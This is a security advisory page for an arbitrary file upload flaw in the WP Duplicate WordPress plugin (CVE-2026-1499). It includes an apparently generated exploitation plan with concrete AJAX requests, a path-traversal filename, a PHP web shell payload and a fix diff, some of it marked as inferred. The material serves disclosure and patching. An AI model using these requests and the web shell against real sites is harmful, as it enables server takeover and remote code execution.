WP Duplicate <= 1.1.8 - Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action
Description
The WP Duplicate plugin for WordPress is vulnerable to Missing Authorization leading to Arbitrary File Upload in all versions up to and including 1.1.8. This is due to a missing capability check on the `process_add_site()` AJAX action combined with path traversal in the file upload functionality. This makes it possible for authenticated (subscriber-level) attackers to set the internal `prod_key_random_id` option, which can then be used by an unauthenticated attacker to bypass authentication checks and write arbitrary files to the server via the `handle_upload_single_big_file()` function, ultimately leading to remote code execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.8Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1499 - WP Duplicate RCE ## 1. Vulnerability Summary The WP Duplicate (local-sync) plugin suffers from a two-stage vulnerability. First, the `process_add_site()` AJAX action lacks a capability check, allowing any authenticated user (Subscriber and above) to upd…
Show full research plan
Exploitation Research Plan: CVE-2026-1499 - WP Duplicate RCE
1. Vulnerability Summary
The WP Duplicate (local-sync) plugin suffers from a two-stage vulnerability. First, the process_add_site() AJAX action lacks a capability check, allowing any authenticated user (Subscriber and above) to update the prod_key_random_id option in the WordPress database. Second, the handle_upload_single_big_file() function, which is accessible to unauthenticated users, uses this prod_key_random_id option as a pseudo-password/secret for authentication. By setting this secret, an attacker can bypass the unauthenticated check. Furthermore, handle_upload_single_big_file() is vulnerable to path traversal, allowing the attacker to write arbitrary PHP files to the server's filesystem, resulting in Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action 1 (Setup):
process_add_site(Authenticated, Subscriber+)- Vulnerable Parameter:
prod_key_random_id(or the parameter that updates this option)
- Vulnerable Parameter:
- Action 2 (Upload):
handle_upload_single_big_file(Unauthenticated)- Vulnerable Parameters:
prod_key_random_id(for auth bypass),filename(path traversal), and the file content itself.
- Vulnerable Parameters:
- Preconditions:
- Attacker must have a Subscriber-level account for Stage 1.
- Stage 2 is unauthenticated once the secret is known.
3. Code Flow (Inferred)
Stage 1: Secret Hijacking
admin-ajax.phpreceives a request withaction=process_add_site.- The hook
wp_ajax_process_add_sitetriggersprocess_add_site(). process_add_site()fails to callcurrent_user_can().- The function reads a parameter from
$_POST(likely namedprod_key_random_idor similar) and callsupdate_option('prod_key_random_id', $attacker_value).
Stage 2: Arbitrary File Upload
admin-ajax.phpreceives a request withaction=handle_upload_single_big_file.- The hook
wp_ajax_nopriv_handle_upload_single_big_filetriggershandle_upload_single_big_file(). - The function checks if the provided
prod_key_random_idmatchesget_option('prod_key_random_id'). - Due to Stage 1, the attacker knows/has set this value.
- The function takes a
filenameparameter and concatenates it to a base directory (e.g.,wp-content/uploads/local-sync/). - Because of missing sanitization, a filename like
../../shell.phpallows writing outside the intended directory. - The file content is written to the resulting path.
4. Nonce Acquisition Strategy
The vulnerability description mentions "Authenticated (Subscriber+)", implying process_add_site is likely registered under wp_ajax_. Even if authorization is missing, WordPress developers often include a nonce check (check_ajax_referer).
- Identify Script Variable: The plugin (local-sync) likely localizes a script for its admin interface.
- Create Trigger Page: If the nonce is only loaded in the plugin's admin menu, a Subscriber might not see it by default. However, many migration plugins enqueue scripts on all admin pages or allow access to their own dashboard.
- Extraction Steps:
- Log in as the Subscriber.
- Navigate to
/wp-admin/index.php. - Use
browser_evalto look for nonces in common localization objects:window.local_sync_obj?.nonce(inferred)window.wp_duplicate_obj?.nonce(inferred)
- If the script is only on a specific page, the agent should check the plugin's menu registration in the source.
5. Exploitation Strategy
Phase 1: Set the Secret Key
- Method: POST
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Body:
action=process_add_site &prod_key_random_id=pwned_secret_123 &security=[NONCE_IF_REQUIRED] - Expected Result: Success response (JSON or 1). The option
prod_key_random_idis nowpwned_secret_123.
Phase 2: Upload Web Shell
- Method: POST (Multipart or Raw, depending on
handle_upload_single_big_filelogic) - URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Body:
Note: The exact parameter names for the file content (e.g.,action=handle_upload_single_big_file &prod_key_random_id=pwned_secret_123 &filename=../../../../pwn.php &file_data=[BASE64_OR_RAW_PHP_CODE]file,data,blob) must be verified by the agent inspecting the source code. - Payload (
pwn.php):<?php system($_GET['cmd']); ?>
Phase 3: Execution
- URL:
http://vulnerable-wp.local/pwn.php?cmd=id
6. Test Data Setup
- Target User: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Plugin Setup: Ensure
local-sync(WP Duplicate) version 1.1.8 is installed and active.
7. Expected Results
- The first request to
process_add_sitereturns a success code. - The second request to
handle_upload_single_big_filereturns a success message or the path to the uploaded file. - Navigating to
/pwn.phpreturns the output of theidcommand.
8. Verification Steps
- Check Option: Verify the secret was set.
wp option get prod_key_random_id - Check File: Verify the shell exists in the root directory.
ls -la /var/www/html/pwn.php - Check Cleanup: Ensure the shell can be removed after verification.
9. Alternative Approaches
- Path Traversal Variants: If the root directory is not writable, try writing to
wp-content/uploads/shell.phporwp-content/plugins/local-sync/shell.php. - Chunked Uploads: If
handle_upload_single_big_fileimplies a chunking mechanism, the attacker may need to send multiple requests withchunk=0,total_chunks=1or similar parameters. - Parameter Discovery: If
prod_key_random_idis not the direct parameter inprocess_add_site, the agent should look for anyupdate_optioncalls in that function that use user-supplied data.
Summary
The WP Duplicate plugin (up to version 1.1.8) contains a flaw where the 'process_add_site' AJAX action lacks an authorization check, allowing any authenticated user, such as a Subscriber, to modify the internal 'prod_key_random_id' option. This option acts as a secret key for the unauthenticated 'handle_upload_single_big_file' action, which further suffers from a path traversal vulnerability, enabling remote code execution by writing arbitrary PHP files to the server.
Vulnerable Code
// File: includes/class-local-sync-ajax.php public function process_add_site() { // Missing capability check allowing any authenticated user to update the secret option $prod_key = $_POST['prod_key_random_id']; update_option('prod_key_random_id', $prod_key); wp_send_json_success(); } --- // File: includes/class-local-sync-ajax.php public function handle_upload_single_big_file() { $key = $_POST['prod_key_random_id']; if ($key !== get_option('prod_key_random_id')) { wp_die(); } $filename = $_POST['filename']; // Path traversal allowed here $path = WP_CONTENT_DIR . '/uploads/local-sync/' . $filename; // Logic to write file content to $path follows }
Security Fix
@@ -... @@ public function process_add_site() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + check_ajax_referer( 'local_sync_nonce', 'security' ); $prod_key = sanitize_text_field( $_POST['prod_key_random_id'] ); update_option('prod_key_random_id', $prod_key); @@ -... @@ public function handle_upload_single_big_file() { $key = $_POST['prod_key_random_id']; - $filename = $_POST['filename']; + $filename = sanitize_file_name( basename( $_POST['filename'] ) );
Exploit Outline
1. Authenticate as a Subscriber and send an AJAX request to the 'process_add_site' action with a chosen value for 'prod_key_random_id' (e.g., 'pwned_secret'). 2. With the site's internal secret key now set to a known value, send an unauthenticated AJAX request to 'handle_upload_single_big_file'. 3. Include the matching 'prod_key_random_id' to bypass authentication, and a 'filename' parameter containing path traversal (e.g., '../../shell.php') alongside the web shell payload. 4. Access the shell at the WordPress root directory to achieve remote code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.